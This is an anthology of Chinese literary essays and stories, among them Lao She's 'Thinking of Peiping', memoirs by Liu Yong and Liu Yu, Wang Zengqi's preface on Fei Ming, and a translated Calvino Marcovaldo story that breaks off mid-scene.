　　唐璜——以拥有一千零三个女人而闻名，当然因其罪而被拖入地狱。欲望从不受宗教所爱。佛教主张清心，基督教把欲望看作通往肉体罪恶之路，看作对神的分心。伊斯兰教要求女人在公众场合遮盖自己，以免任何男人受刺激，危及他的灵魂。在犹太教的传统里，欲望毁灭了大卫王和参孙，一如当代的黛利拉仍然把她们的男人们调教得服服贴贴。然而，不该遗漏《圣经》里的那首叫《所罗门之歌》的情诗；它与任何一首此后所写的情诗一样浪漫，并在爱情的宫殿里为欲望正了名……

　　而且还相当正确。欲望美妙。魔药有时正是所需要的。你可以如你所愿，爱我，离开我，任何三十岁以下的人都应该经历许多爱和别离。我不是说欲望属于年轻人——当然并非如此——但当你正在长大时，你有很好的理由经常堕入爱河，就算只是去发现那根本不是爱。

　　当欲望不再关乎发现，而只是一种避免爱情的廉价方式时，问题产生了。

　　把欲望本身视为终点是不对的。色欲本身是终点，而假如这就是你要的全部，那么没问题。欲望更微妙，因为我怀疑它的真正功能是朝向爱情的，而并非去往另一个方向的借口。

　　有一种基于科学的论断，把欲望理解为一种爱情的策略，一种社会稳定所需要的爱情。爱情是一种令人们聚在一起的方式，欲望是一种让人们彼此相爱的方式，该论断如是说。这种理论把我们最高的情感价值读解为物种保护。毫不奇怪，我憎恶这种解读，我更喜欢诗人的说法。当但丁在谈论爱情说它感动太阳星辰时，我相信他。他不像我们那样知道那么多关于苍穹的构造，但他知道心灵的复杂性。

　　我的感觉是，爱情由欲望引领，欲望深化成爱情，它不仅仅是令社会稳定、物种生存的自私基因。爱一个人是条捷径，令我们得以了解成为另一个人是何种感觉。爱情冲破了我们习惯而顽固的自私，冲破了那种狭隘的、渐渐使我们闭塞的“以我为先”，冲破了无爱生活的死巷。

　　有不同种类的爱，并非所有的爱都以欲望为始，但欲望在我们的感情中占据了一个有影响力的位置。它释放出的力量无视任何一种传统，跨越性别、年龄、阶级、宗教、常识和行为习惯。

　　这令人振奋，亦有必要。它令人沉迷。如同所有强大的物质，欲望需要小心处理，而从本质上说这几乎是不可能做到的。

　　几乎，但不是一定。荣格，由炼金术出发，把欲望说成是一只白鸟，当它出现时，应该一直尾随它，但不该总把它带到地面。简单来说，我们无法总是依照欲望行事，也不该如此，但压抑它亦令我们一无所获。追随白鸟是一种勇敢的方式，承认有些爆炸性的事情正在发生。或许那将炸毁我们整个世界，或许它会引爆心灵的密室。肯定的是，事情会改变。

　　我并不认为这只欲望的白鸟对于我们大部分人而言，如令人自然兴奋的白粉替代品一样诱人。作为毒品的欲望比作为信使的欲望更粗俗。然而生活中的大部分事都有一个实际含义和一个诗意的含义，而有些时候只有诗歌才能回应。

　　对我而言，当我信任我的欲望时，无论我是否按其行事，生活总会变得困难得多，但又奇怪地被照亮了。当我不信任我的欲望时，无论出于怯懦或常识，慢慢地我会进入阴影处。我无法解释这点，但我发现这是真的。

　　欲望值得尊敬。它值得上那些纷扰。但它不是爱情，只有爱情才值得上一切。

想北平

老舍

　　设若让我写一本小说，以北平作背景，我不至于害怕，因为我可以捡着我知道的写，而躲开我所不知道的。让我单摆浮搁的讲一套北平，我没办法。北平的地方那么大，事情那么多，我知道的真觉太少了，虽然我生在那里，一直到廿七岁才离开。以名胜说，我没到过陶然亭，这多可笑！以此类推，我所知道的那点只是"我的北平"，而我的北平大概等于牛的一毛。

　　可是，我真爱北平。这个爱几乎是要说而说不出的。我爱我的母亲。怎样爱？我说不出。在我想作一件讨她老人家喜欢的时候，我独自微微的笑着；在我想到她的健康而不放心的时候，我欲落泪。言语是不够表现我的心情的，只有独自微笑或落泪才足以把内心揭露在外面一些来。我之爱北平也近乎这个。夸奖这个古城的某一点是容易的，可是那就把北平看得太小了。我所爱的北平不是枝枝节节的一些什么，而是整个儿与我的心灵相粘合的一段历史，一大块地方，多少风景名胜，从雨后什刹海的蜻蜓一直到我梦里的玉泉山的塔影，都积凑到一块，每一小的事件中有个我，我的每一思念中有个北平，这只有说不出而已。

　　真愿成为诗人，把一切好听好看的字都浸在自己的心血里，象杜鹃似的啼出北平的俊伟。啊！我不是诗人！我将永远道不出我的爱，一种象由音乐与图画所引起的爱。这不但是辜负了北平，也对不住我自己，因为我的最初的知识与印象都得自北平，它是在我的血里，我的性格与脾气里有许多地方是这古城所赐给的。我不能爱上海与天津，因为我心中有个北平。可是我说不出来！

　　伦敦，巴黎，罗马与堪司坦丁堡，曾被称为欧洲的四大"历史的都城"。我知道一些伦敦的情形；巴黎与罗马只是到过而已；堪司坦丁堡根本没有去过。就伦敦，巴黎，罗马来说，巴黎更近似北平--虽然"近似"两字要拉扯得很远--不过，假使让我"家住巴黎"，我一定会和没有家一样的感到寂苦。巴黎，据我看，还太热闹。自然，那里也有空旷静寂的地方，可是又未免太旷；不象北平那样既复杂而又有个边际，使我能摸着--那长着红酸枣的老城墙！面向着积水潭，背后是城墙，坐在石上看水中的小蝌蚪或苇叶上的嫩蜻蜓，我可以快乐的坐一天，心中完全安适，无所求也无可怕，象小儿安睡在摇篮里。是的，北平也有热闹的地方，但是它和太极拳相似，动中有静。巴黎有许多地方使人疲乏，所以咖啡与酒是必要的，以便刺激；在北平，有温和的香片茶就够了。论说巴黎的布置已比伦敦罗马匀调的多了，可是比上北平还差点事儿。北平在人为之中显出自然，几乎是什么地方既不挤得慌，又不太僻静：最小的胡同里的房子也有院子与树；最空旷的地方也离买卖街与住宅区不远。这种分配法可以算--在我的经验中--天下第一了。北平的好处不在处处设备得完全，而在它处处有空儿，可以使人自由的喘气；不在有好些美丽的建筑，而在建筑的四围都有空闲的地方，使它们成为美景。每一个城楼，每一个牌楼，都可以从老远就看见。况且在街上还可以看见北山与西山呢！

　　好学的，爱古物的，人们自然喜欢北平，因为这里书多古物多。我不好学，也没钱买古物。对于物质上，我却喜爱北平的花多菜多果子多。花草是种费钱的玩艺，可是此地的"草花儿"很便宜，而且家家有院子，可以花不多的钱而种一院子花，即使算不了什么，可是到底可爱呀。墙上的牵牛，墙根的靠山竹与草茉莉，是多么省钱省事而也足以招来蝴蝶呀！至于青菜，白菜，扁豆，毛豆角，黄瓜，菠菜等等，大多数是直接由城外担来而送到家门口的。雨后，韭菜叶上还往往带着雨时溅起的泥点。青菜摊子上的红红绿绿几乎有诗似的美丽。果子有不少是由西山与北山来的，西山的沙果，海棠，北山的黑枣，柿子，进了城还带着一层白霜儿呀！哼，美国的橘子包着纸；遇到北平的带霜儿的玉李，还不愧杀！

　　是的，北平是个都城，而能有好多自己产生的花，菜，水果，这就使人更接近了自然。从它里面说，它没有象伦敦的那些成天冒烟的工厂；从外面说，它紧连着园林，菜圃与农村。采菊东篱下，在这里，确是可以悠然见南山的；大概把"南"字变个"西"或"北"，也没有多少了不得的吧。象我这样的一个贫寒的人，或者只有在北平能享受一点清福了。好，不再说了吧；要落泪了，真想念北平呀！

童年的声音

刘墉

　　我的童年是在台北市温州街和云和街之间度过的，那是个很特殊的地方，好比卡萨布兰加或伊士坦堡，处在多种文明交会之处，撞击出异样的火花。

　　温州街的两侧，住的多半是台大教授，最记得正对门有位陈姓的老书法家过世，他那学者儿子号哭：“爹爹啊！爹爹啊！”连着哭了半个月都不止。

　　我家右邻也令我怀念，最先住着一对老夫少妻，想必师生恋，那年轻貌美的妻子，总娇声细气地喊“老师！老师！”她一喊，我老爸就说：“又喊了！又喊了！”我老妈则会瞪他两眼：“又没喊你，你听什么？”

　　老夫少妻没多久便移民美国，搬来台大医院住院部的主任，也姓刘，我们处得像是一家，甚至在墙中间开了扇小门以便走动。他家有三个女儿，常常玩耍尖叫，引得我竖耳朵。

　　左邻是位将军，太太念佛，每天传来咚咚咚的木鱼声，还有将军的嗯嗯声，大概有痔疮，他用力嗯嗯的声音，我隔墙都听得到。小时候顽皮，他嗯，我也嗯，帮着他使劲儿。后来他们搬走了，我娘说都是被我气的。

　　左对门住了位台大农学院的院长，家里有株当年很希罕的昙花，每回夏夜灯火喧哗，都是赏昙聚会。他家再过去则是国防部长俞大维的官邸，四周围住着一群星星，黑头车过，好多孩子会追在后面闻汽油味。吉普车更有意思，因为开车的是兵，比较会跟孩子玩。不过有一回我把沙土偷偷倒进车子的油箱，被兵抓到，狠狠地拧着我的耳朵骂，直到今天，我不准人碰我耳朵，包括我太太，都是因为那惨痛的回忆。

　　我家后面是“兵工学校”的军眷区，据说有不少早年汉阳兵工厂的骨干，个个是军火专家。他们管起孩子来也不凡，啪啪啪地“竹笋炒肉片”，夹着孩子“不敢了！不敢了！”的哀嚎声，让我每次看见那些捱揍的小朋友都敬畏三分，想他们毕竟是鞭子底下熬过来的人物。我也佩服眷区人家炒菜的架势，大概用的锅铲都是兵工厂的精钢打造，硬比我娘的响十倍，我虽见不到那些掌勺操刀的伯母，却能有“公孙大娘舞剑器”的想象。

　　十三岁那年，我家在一场大火中烧成了平地。公家以我父亲已逝为由，不为我们重建。我娘只好在废墟上盖了间草房，成为当年的“最牛钉子户”。房虽简陋，只一片草棚搭在墙头，头顶几乎碰到屋檐，但四周木板通风透亮，加上外面废墟的杂草丛生、虫声啾啾，颇有乡居之感。厕所更见情调，那是整栋日式建筑唯一砖砌的地方，当四周陷落，粪坑就显得高高在上了。下雨天撑伞如厕，上面雨声不断，下面也点点滴滴。那阵子我正读李清照词集，自然想起“点滴凄清、点滴凄清、愁损离人，不惯起来听。”至于晴朗的日子感觉也好，深蓝夜空的拥抱下，看星星月亮移过一根根烧得焦黑的柱子，令人想起古希腊的剧场，再看看四邻窗内晕黄的灯光和幢幢人影，又是李易安“向帘儿底下，听人笑语”的境界。

　　十五岁那年，我们这钉子户终于屈服，搬去金山街的一栋两层小木楼。楼下是间女子英文秘书班，对于我这个小男生，那声色真是不凡。一会儿仿佛置身番邦，楼下传来的是英语会话；一会儿咔答咔答高跟鞋声，想必在教走路的礼仪；一会儿乐声震耳，原来是交际舞蹈。偶尔经过楼下，还能看见一群吓人的白脸女鬼，竟然是用黄瓜汁、面粉和双氧水漂白皮肤的美容课。

　　小楼对面，隔着金山街有一大片违章建筑，每天当当当当是饺子铺在刴馅，噔噔噔噔是弹棉花店的弓弦震动，还时时有车喇叭猛响，是因为等着买手工馒头的顾客阻碍了交通。入晚就更热闹了，拉嗓子喊的是卖馓子麻花和臭豆腐的，吱扭吱扭加上吭当吭当，是推车子过来的面摊。蒸馒头、煮面和下饺子的蒸气煤烟，在迷离的灯火映照下，大有辛稼轩〈青玉案〉“玉壶光转，一夜鱼龙舞”和“众里寻他千百度，蓦然回首，那人却在灯火阑珊处”的朦胧之美。

　　我住的小楼虽不高，后面却可以俯瞰一大片平房，也就有野猫叫春和深巷寒犬的混声合唱。大概因为日式房舍的门户不严，那时有狗人家特多，而且多半养看门的大狗，当群犬齐吠，声势十分惊人。

　　至于人犬皆睡的深夜，后窗外又出奇地宁静，在那一大片鱼鳞似的灰瓦房舍间，甚至能听见哗啦哗啦的麻将、唧唧的三轮煞车，和盲人按摩师的悠悠笛音。

　　前窗外也逐渐安静了，总是先听见泼水声，大概是馒头饺子店打烊的例行工作，接着是厚重的上门板声。也幸亏门够厚，有一夜喊叫不断、对街映现一片火光，接着警笛呼啸开来好多救火车。原来是某家女儿的男友发疯，在水沟里倒了汽油点燃，所幸火很快就被扑灭了，除了门板上熏出些黑印子，竟然毫无损伤。

　　还有一夜打破寂静的是个山东老汉的哭声，从一片低矮的违建间传来。大概醉了，哭夹着喊，喊得断断续续，听得出几个重复的句子：“蒋总统！你不是说要带我们回去吗？怎么还不回去？再不回去……再不回去，我娘都死啦！”

　　男人的哭声，在深夜，很悲凉，悲凉得我一生难忘。

被搁置的生活

刘瑜

　　我的博士毕业论文淅淅沥沥写了三年，终于快要答辩了。三年来，我慢悠悠地在图书馆、家、河边公园、咖啡馆之间晃。左晃晃，右晃晃，一天写几个字了事，跟给公社干活挣工分似的。

　　虽然晃晃悠悠，可是三年来，我不辞辛苦跟人宣称我在“赶论文”。每当有人问我，“忙什么呢？”我就理直气壮地说，“赶论文呢”。

　　说得多了，自己也就信了。一旦自己都信了，就开始行色匆匆，一付“谁也别理我，忙着呢”的架势。瞧，他们在忙着谈生意，写材料，评职称，种粮食，倒卖国有资产，打伊拉克，而我，我忙着“赶论文”。听听，“赶”论文。就是靠着这点虚张声势的忙碌，我获得了一种滥竽充数的成人感。

　　成人感，总是必须的。我三十了，不能再穿着蕾丝花边裙子，在公园里蹦蹦跳跳，把一个又一个下午，象难吃的水果一样，咬一口就吐掉。

　　虚假忙碌的直接后果，就是我开始为了“事业”，而搁置生活。我给自己列了一个清单，上面列举着我“写完论文以后”要做的事情。在过去三年里，这个清单不断变长，其中包括：尽情地看恐怖推理小说；把我 CD 中所有好听的歌整理出来，自制 CD；打 Mario 最新版的游戏；一周去看两个话剧；到一个不知名的地方去旅行，住上两个月；好好读一遍世界史；研究拉美的政治经济；学跳探戈；写惊世骇俗的小说……总而言之，我把自己全部的“兴趣”、“爱好”、“愿望”、“梦想”，或者说，“生活”本身，都给推迟到了“论文完成之后”。我的论文简直就是一个一病不起的亲人，把我牢牢地栓在一个小黑屋子里，哪儿也去不了。

　　可是有一天，我突然想到：万一我这三年里不小心出车祸死了呢？万一我今天，心脏病突发了呢？难道，这就是说，我其实有可能，生活还没有开始，就已经结束？

　　这个突如其来的想法真叫我害怕。

　　那天和一个朋友聊天，他说：我这些年要拼命干活，拼命挣钱，争取 40 岁退休，然后周游世界。

　　我看着他，没作声，心里偷偷想：万一，你 40 岁之间不小心出车祸死了呢？万一你今天，心脏病突发呢？

　　还有报纸上的那些父母，非常感人、并且非常自我感动地说，这一切，都是为了孩子，等他们长大了，有出息了……

　　我又偷偷想，万一，你在孩子长大之前不小心出车祸死了呢？万一你今天，心脏病突发呢？

　　我默默焦虑着，自作多情地为每个人伤感。每个人的心里，有多么长的一个清单，这些清单里写着多少美好的事，可是，它们总是被推迟，被搁置，在时间的阁楼上腐烂。为什么勇气的问题总是被误以为是时间的问题，而那些沉重、抑郁的、不得已的，总是被叫做生活本身。

天堂的颜色

邵亚

　　外婆病重那年我正在休斯敦的一家疗养院里做义工。这里四季如春，风景怡人。户外的青草地在阳光的普渡下似乎永远都显出盎然生机，碧波粼粼的湖面上偶有清爽的微风拂过面庞，不经意间在嘴角勾起暖暖的笑意。然而过惯了城市里高速便捷的生活的我，突然来到这个手机信号永远都停在第二格的乡村竟有些不太习惯。那些与网友聊 Q 到深夜、与死党勾肩搭背的经历此刻只有在脑海里循环播放。

　　我在这里的工作很简单，每天早上 8 点去各个病房查看一遍，看看病人有没有什么需要或是不适，帮他们整理好床铺，开好窗子，让充满希望的阳光洒进病房。如此循环往复的工作，日子一久也就慢慢与病人们熟络起来，开始学会去享受各中滋味。

　　26 床的史密斯夫人是因为突发心脏病才住进来修养的，病情不是特别严重，但是心理上似乎受到过严重的打击，精神一直恍惚。她那可爱的小儿子海默每天都会很乖地陪着她，跟她聊天，带她出去散步，晒太阳。只有在史密斯夫人休息时小家伙才会歇下来坐在草坪的长椅上，安静地仰望着天空。圣诞节那天，院里所有工作人员一起为病人们准备礼物，我送了个傻瓜相机给小海默，那是小时候外婆送给我的，透过相机的照相孔能看见两个小朋友在蓝天下嬉戏。海默似乎很喜欢这个礼物，收下后竟然兴奋的在我脸上印了一个吻。从那以后每次看到海默坐在长椅上我便会走过去坐下来陪着他，想要与他说话，但那张仰着的脸坚强中透着的孤寂与难过，堵塞着我蠕动的唇。一直就这么陪着，海默也一直沉浸在自己的世界里，安静的让我怀疑他是否有感觉到我的存在。

　　那天空之上真的有天堂么？静默了很久的海默终于说话了，像是自言自语又像是在问我。我一愣，马克思主义教出来的孩子怎么会相信这种神学论呢，可我一转头，触碰到了海默闪烁着的目光，心头不禁一紧，我笑了一下，回答说当然有啊，那儿可是住着很多我们已经不能再相见的人哦。那凯萨琳也住那里咯。凯萨琳？是谁？我心想。我的姐姐凯萨琳两个月前跟她的同学们出去野营后就再也没回来了，警察说可能已经死掉了。海默哽咽地说着。我终于明白为什么这个孩子之前会露出那么寂寞的表情，原来他小小的心灵承受了这么多——姐姐失踪了，妈妈又因此而生病住院。我心疼的抚着他的头发，紧紧地抱着他说，凯萨琳不会离开海默的，她现在一定在天堂的某处，也跟海默一样仰望着天空呢。真的吗？那天堂会是什么颜色呢？凯萨琳最喜欢天蓝色了，家里凯萨琳的卧室被她弄得就像天空一般。是嘛？那凯萨琳现在一定满意极了，你看天堂就在那天空之上，整个天堂都被天空包围着，自然到处都是天蓝色了……

　　后来海默每天都会拉着我去看凯萨琳，跟我讲很多以前与凯萨琳做过的顽皮的事情。每每说到开心的事他都会大声的笑出来，像是要凯萨琳也听到一般。看着海默开心的笑脸，我笑着仰望着天空，在心底默默的祷告着幸福回到海默的家里，回到这个还只有 13 岁的孩子心里。

　　等不及看着史密斯夫人健康出院，我便收到外婆离世的消息，没有与海默告别我就登上了回国的班机。突如其来的空洞撞击着我的心房，心室一张一缩，汹涌的泪水也在眼眶里打转。奔回家里已不见了外婆慈祥的脸，只有冰冷冰冷的骨灰盒。抱着那充满外婆气味的盒子，我失声的痛哭了，脑子里满是往日外婆对我的好。哭久了原来也是件很累很累的事，累到没了眼泪心还在收缩，累到身体没了支撑只能靠着床边……抚着相册里外婆笑着的脸，我想起了海默，想起了凯萨琳，想起了外婆此刻一定也在天堂里看着我，看着一片天蓝。

万寿宫丁丁响

汪曾祺

　　冯思纯同志编出了他的父亲废名的小说选集，让我写一篇序，我同意了。我觉得这是义不容辞的事，因为我曾经很喜欢废名的小说，并且受过他的影响。但是我把废名的小说反复看了几遍，就觉得力不从心，无从下笔，我对废名的小说并没有真的看懂。

　　我说过一些有关废名的话：

　　废名这个名字现在几乎没有人知道了。国内出版的中国现代文学史没有一本提到他。这实在是一个真正很有特点的作家。他在当时的读者就不是很多，但是他的作品曾经对三十年代、四十年代的青年作家，至少是北京的青年作家，产生过颇深的影响。这种影响现在看不到了，但是它并未消失。它像一股泉水，在地下流动着。也许有一天，会汩汩地流到地面上来的。他的作品不多，一共大概写了六本小说，都很薄。他后来受了佛教思想的影响，作品中有见道之言，很不好懂。《莫须有先生传》就有点令人莫名其妙，到了《莫须有先生坐飞机以后》就不知所云了。但是他早期的小说，《桥》、《枣》、《桃园》和《竹林的故事》写得真是很美。他把晚唐诗的超越理性，直写感觉的象征手法移到小说里来了。他用写诗的办法写小说，他的小说实际上是诗。他的小说不注重写人物，也几乎没有故事。《竹林的故事》算是长篇，叫做“故事”，实无故事，只是几个孩子每天生活的记录。他不写故事，写意境。但是他的小说是感人的，使人得到一种不同寻常的感动。因为他对于小儿女是那样富于同情心。他用儿童一样明亮而敏感的眼睛观察周围世界，用儿童一样简单而准确的笔墨来记录。他的小说是天真的，具有天真的美。因为他善于捕捉儿童的思想和情绪，他运用了意识流。他的意识流是从生活里发现的，不是从外国的理论或作品里搬来的。……因为他追随流动的意识，因此他的行文也和别人不一样。周作人曾说废名是一个讲究文章之美的小说家。又说他的行文好比一溪流水，遇到一片草叶都要去抚摸一下，然后又汪汪地向前流去。这说得实在非常好。

　　我的一些说法其实都是从周作人那里来的。谈废名的文章谈得最好的是周作人。周作人对废名的文章喻之为水，喻之为风。他在《莫须有先生传》的序文中说：

　　这好像是一道流水，大约总是向东去朝宗了海，他流过的地方，凡有什么汉港弯曲，总得灌注潆洄一番，有什么岩石水草，总要披拂抚弄一下子，再往前走去。再往前去，这都不是他的行程的主脑，但除去了这些，也就别无行程了。

　　周作人的序言有几句写得比较吃力，不像他的别的文章随便自然。“灌注潆洄”、“披拂抚弄”，都有点着力太过。有意求好，反不能好，虽在周作人亦不能免。不过他对意识流的描绘却是准确贴切且生动的，他的说法具有独创性，在他以前还没有人这样讲过。那时似还没有“意识流”这个说法，周作人、废名都不曾使用过这个词。这个词是从外国迻译进来的。但是没有这个名词不等于没有这个东西，中国自有中国的意识流，不同于普鲁斯特，也不同于弗吉尼尔·吴尔芙，但不能否认那是意识流，晚唐的温（飞卿）李（商隐）便是。比较起来，李商隐更加天马行空，无迹可求。温则不免伤于轻艳。废名受李的影响更大一些。有人说废名不是意识流，不是意识流又是什么？废名和《尤列什斯》的距离诚然较大，和吴尔芙则较为接近。废名的作品有一种女性美，少女的美，他很喜欢“摘花赌身轻”，这是一句“女郎诗”！

　　冯健男同志（废名的侄儿）在《我的叔父废名》一书中引用我的一段话，说我说废名的小说“具有天真的美”，以为“这是说得新鲜的，道别人之所未道”。其实这不是“道别人之所未道”。废名喜爱儿童（少年），也非常善于写儿童，这个问题周作人就不止一次他说过。我第一次读废名的作品大概是《桃园》。读到王老大和他的害病女儿阿毛说：“阿毛，不说话一睡就睡着了”，忽然非常感动。这一句话充满一个父亲对一个女儿的感情。“这个地方太空旷吗？不，阿毛睁大的眼睛叫月亮装满了”，这种写法真是特别，真是美。读《万寿宫》，至程林写在墙上的字：“万寿宫丁丁响”，我也异常的感动，本来丁丁响的是四个屋角挂的铜铃，但是孩子们觉得是万寿宫在丁丁响。这是孩子的直觉。孩子是不大理智的，他们总是直觉地感受这个世界，去“认同”世界。这些孩子是那样纯净，与世界无欲求，无争竞，他们对此世界是那样充满欢喜，他们最充分地体会到人的善良，人的高贵，他们最能把握周围环境的颜色、形体、光和影、声音和寂静，最完美地捕捉住诗。这大概就是周作人所说的“仙境”。

　　另一位真正读懂废名，对废名的作品有深刻独到的见解的美学家，我以为是朱光潜。朱先生的论文说：“废名先生不能成为一个循规蹈矩的小说家，因为他在心境原型上是一个极端的内倾者。小说家须得把眼睛朝外看，而废名的眼睛却老是朝里看；小说家须把自我沉没到人物性格里面去，让作者过人物的生活，而废名的人物却都沉没在作者的自我里面，处处都是过作者的生活。”朱先生的话真是打中了废名的“要害”。

　　前几年中国的文艺界（主要是评论家）闹了一阵“向内转、向外转”之争。“向内转、向外转”与“向内看、向外看”含义不尽相同，但有相通处。一部分具有权威性的理论家坚决反对向内，坚持向外，以为文学必须如此，这才叫文学，才叫现实主义；而认为向内是离经叛道，甚至是反革命。我们不反对向外的文学，并且认为这曾经是文学的主要潮流，但是为什么对向内的文学就不允许其存在，非得一棍子打死不可呢？

　　废名的作品的不被接受，不受重视，原因之一，是废名的某些作品确实不好懂。朱光潜先生就写过：“废名的诗不容易懂，但是懂得之后，你也许要惊叹它真好。”这是对一般人而言，对平心静气，不缺乏良知的读者，对具有对文学的敏感的解人而言的。对于另一种人则是另一回事。废名的价值的被认识，他在中国现代文学史上的地位真正的被肯定，恐怕还得再过二十年。

　　1996 年 3 月 6 日

有毒的兔子

伊塔洛 · 卡尔维诺

　　当出院那天来临，一个已经能走路的人从早上就在病房里绕，寻找他出院后的步伐、口哨，在病人面前充健康不是为了让别人羡慕他，而是因为乐于使用鼓舞的声调。看着玻璃窗外的太阳，或者看着雾，如果那天有雾的话，歌颂城里的噪音：一切都和以往不同，之前每个早晨一面感到那来自一个遥不可及的世界的光与音渗进来，一面于床的栅栏之间醒过来。如今外面的世界重新属于他：病愈者通常自然而然地就认识到这一点；然后在一瞬间，又闻到医院的气味。

　　马可瓦多——那天早晨等着医生在他的职工医疗证写上某些东西以便出院时，在身边察觉到这种气氛，病愈了。医生拿着文件跟他说：“在这儿等。”然后留下他单独一人在诊疗室里。马可瓦多看着他痛恨过的白釉家具，装满面目狰狞物质的化学试管，试着以正要离开这一切的想法来振奋自己：可是他没办法感受到那份应有的喜悦。或许是因为想起又要回到公司去搬箱子，或许是因为担心这段时间他的孩子们不知道又惹了什么麻烦，但最主要的还是因为外面的雾，让他觉得自己将在一片空茫中离开，融化于虚无的湿气之内。环顾四周，模模糊糊的感觉到必须要喜欢某样在那里的东西，可是触目所见都让他厌烦而不自在。

　　就在那个时候，看见一只关在笼子里的兔子。一只白兔子，有着长而松软的毛，小小的粉红三角鼻，惊慌失措的红眼睛，绒毛未丰的耳朵几乎贴平在脊背上。它并不胖，但是关在那个狭窄的笼子里，它蜷曲的椭圆身躯还是占满了整个金属网，因颤抖而波动的长毛一撮撮地伸到外面来。笼外的桌面上，有一些剩的青草和一根胡萝卜。马可瓦多想那只兔子该有多么不快乐，被关在那拥挤的空间里，看着那根胡萝卜却又吃不到。于是他把笼门打开。兔子并没有出来：它在那儿停着不动，只有鼻子轻微地抽搐，好像装腔作势地咀嚼着东西。马可瓦多拿起胡萝卜递近它，然后慢慢抽回，好引兔子出来。兔子跟着，咬住胡萝卜，勤快地就马可瓦多的手上啃了起来。男人轻抚兔子的背脊，触摸的同时也掂掂看它胖不胖。在毛皮下，他摸到一把瘦骨头。从这一点，再加上兔子啃胡萝卜的方式，他就知道医院一定没让它吃饱。“如果是我养它，”马可瓦多想：“我一定把它塞得圆滚滚的跟球一样。”他满是爱怜地看着兔子，就像饲养者在和善照顾动物的同时，预见的是将来烘烤的菜肴。如此，在度过日复一日苍白的住院期后要出院的那个时刻，发现了一个朋友，一个原本可以填补他的时间及心灵的朋友，但现在他得跟这个朋友分手，回到云雾弥漫，再也遇不到兔子的城里去。

　　胡萝卜几乎快吃光了，马可瓦多抱起小动物四处寻找是否还有其他东西可以喂它。把兔子的鼻子凑近医生书桌上的二小盆绣球花，不过看起来它的兴趣不大。就在这个时候，马可瓦多听到医生的脚步声正要进门：怎么向他解释为什么抱着这只兔子呢？马可瓦多穿着束腰的工作夹克，匆匆忙忙地把兔子往夹克里一塞，把扣子扣起来，又为了不让医生看到那跳动的一团在胃的位置，便把兔子挪到后面去，顶在背上。兔子被吓到，一动也不动。马可瓦多拿回他的文件，为了转身出去，又把兔子换到胸前。就这样，夹克里藏着兔子，他离开医院去公司上工。

　　“哦，你终于病好了？”车间主任威利哲姆看到他来上工。“你这儿长了什么东西？”指着马可瓦多凸出的胸前。

　　“我贴了一块热膏药防止痉挛。”马可瓦多说。

　　在那时，兔子刚好扭了一下，而马可瓦多就像癫痫病患往上一跳。

　　“谁戳你啦？”威利哲姆问。

　　“没有，我打嗝。”马可瓦多回答，并用手把兔子推到背后去。

　　“我看你还有点不对劲，”主任说。

　　兔子试着要往背上爬，马可瓦多耸起肩膀让它下去。

　　“你在发抖。再回家休息一天吧，明天你就会好了。”

　　回家的时候，马可瓦多像幸运的猎人那样拎着兔子的耳朵进门。

　　“爸！爸！”小孩们一面迎上来一面欢呼。“你在哪里抓到的？送给我们吗？是我们的礼物？”并马上伸手抓兔子。

　　“你回来啦？”太太说，从她看他的眼光，马可瓦多就知道他的住院只增添了太太对他新的怨恨。“一只活的小动物？你想干嘛？它会把家里弄脏。”

　　马可瓦多把桌子清干净，把缩成一团试图就此消失的兔子放在中央。“谁碰它谁倒楣！”他说，“这是我们的兔子，它可以安心发胖直到圣诞节。”

　　“它是公的，还是母的？”小米凯尔问。

　　马可瓦多倒没想过它是雌兔的可能性。脑子里迅速闪过一个新的计划：如果是一只母的，就可以生其他的小兔子，然后发展成畜牧业。在他的梦幻中，家里湿渍斑斑的墙壁消失无踪，出现的是田野间的一座农庄。它是公的。可是畜牧业的念头已经进到马可瓦多的脑袋里。虽然它是雄兔，不过是一只很英俊的雄兔，可以找到它的新娘和其他办法来组织一个家庭。

　　“我们给它吃什么，连我们自己都没得吃？”太太尖酸地说。

　　“这个由我来负责。”马可瓦多说。

　　第二天在公司，马可瓦多从他每天早上带出去浇水再放回原位的那几盆主管办公室的盆栽各拔下一片叶子：这边拔几叶宽大亮丽的，那边拔几叶晦暗无光的，全塞进夹克里。接着问一位带着一小束花的女职员：“你男朋友送的？可以给我一枝吗？”把花也放进口袋。对正在削梨的年轻人说：“把皮留给我。”如此，东一片叶子，西一串果皮，再加上花瓣，希望能喂饱小动物。

　　在某个时刻，威利哲姆先生派人来叫他。“他们发现植物掉叶子了？”马可瓦多自问，习惯性地感到内疚。

　　车间主任那儿有医院的医生，两名红十字医务人员，和一位民警。“请注意，”医生说，“我诊疗室里的一只兔子不见了。如果你知道任何消息，建议你不要耍诈。因为我们在那只兔子身上注射了一种很可怕的病菌，可以传染全城。我不用问你是不是把它吃了，否则这个时候你已经不在人间了。”

　　在公司外等着一辆救护车，大家急忙上车，持续呼啸着警笛奔驰在马路和林荫大道上，往马可瓦多家开去：沿路留下了马可瓦多沮丧地从车窗丢出去的一行绿叶、果皮和花朵。

　　马可瓦多的太太那天早上不知道拿什么下锅。看着她丈夫前一天带回来的兔子，现在关在一个塞满纸屑的临时笼子里。“它来得正好，”自言自语道：“钱嘛是一毛也没有，月薪也已经拿去支付职工医疗会不给付的额外医药费，店铺又不让我们赊帐，还谈什么畜牧业或是圣诞节吃烤兔子。我们自己有一顿没一顿的，还要喂兔子！”

　　“伊索莉娜，”叫女儿，“你已经大了，应该学着怎么煮兔子。你先把它杀了，皮剥了，然后我告诉你该怎么做。”

　　伊索莉娜正在读报上连载的言情小说。“不，”哼哼唧唧的，“你把它杀了，皮剥了，然后我再去看你怎么煮。”

　　“好！”妈妈说。“要我杀它我没有这个勇气。可是我知道很简单，只要拎着耳朵，在它后脑勺猛敲一下。至于剥皮嘛，待会再看着办。”“我们什么也看不到，”女儿头都不抬地说：“让我打一只活兔子的后脑我不于，剥皮更是想都不用想。”

　　三个小男孩竖起耳朵听着这番对话。妈妈沉思了一会，看着小孩们，然后说：“男生们……。”

　　小男孩仿佛约好的，一起转身背对母亲往房间外面走去。“等一下！”妈妈说。“我是要问你们想不想带兔子出去。可以绑条彩带在它脖子上，然后一起去散个步。”

　　男孩子停了下来，彼此对望。“去哪里散步？”小米凯尔问。

　　“嗯，随便走走。然后去找蒂欧蜜拉太太，你们把兔子带去给她，请她帮忙杀一下兔子，把皮剥了，她那么能干。”

　　当母亲的触到了痒处：她知道小孩子会震慑于他们感兴趣的东西，至于其他的，就不愿意多想了。于是他们找出一条淡紫色的长彩带，绑在小动物的脖子上，孩子们像牵狗一样，手握彩带，拽着身后不情不愿、勒得半死的兔子。

